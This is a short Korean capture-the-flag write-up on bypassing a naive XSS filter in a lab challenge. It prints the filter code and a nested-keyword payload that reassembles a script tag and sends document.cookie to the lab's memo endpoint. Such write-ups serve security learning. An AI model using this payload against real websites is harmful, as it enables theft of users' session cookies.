반응형
문제풀이
xss-1과 마찬가지로 3가지 페이지가 나온다.
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
xss-1와 차이점이 있다면, 위와 같이 script, on, javascript
를 필터링하고 ""
로 replace 한다는 점이다.
<scscriptript>locatioonn.href='http://127.0.0.1:8000/memo?memo='+document.cookie</scscriptript>
필터링을 우회한 xss payload다.
script, on, javascript
를 필터링할 때, 프로세스를 종료하는 것이 아니라 ""
로 치환하는 방식으로 검증을 하고 있다.
이는 취약한 방법으로 작성한 payload처럼 치환 결과가 정상적인 <script>
태그로 완성되도록 우회하면 된다.
정리하면
- scscriptript → script
- locatioon → location
과 같은 방식으로 치환하는 방식으로 우회한다.
payload를 제출하고 /memo
에 저장된 결과를 확인해보자.
반응형